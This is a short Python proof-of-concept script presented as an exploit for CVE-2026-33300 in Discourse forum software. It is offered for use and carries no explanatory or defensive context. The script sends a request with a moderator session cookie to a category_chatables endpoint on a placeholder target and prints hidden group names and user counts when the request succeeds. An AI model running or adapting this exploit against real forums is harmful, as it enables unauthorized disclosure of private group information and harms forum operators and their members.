CVE-2026-33300

import requests # Exploit for CVE-2026-33300 # Target: Discourse Instance # Description: Bypass authorization to access hidden group info target_url = "http://target.com/category_chatables/show.json" # Cookies for a user with Moderator privileges cookies = { "_forum_session": "valid_moderator_cookie" } response = requests.get(target_url, cookies=cookies) if response.status_code == 200: print("[+] Authorization bypass successful!") data = response.json() print(f"Hidden Group Name: {data.get('group_name')}") print(f"User Count: {data.get('user_count')}") else: print("[-] Exploit failed")

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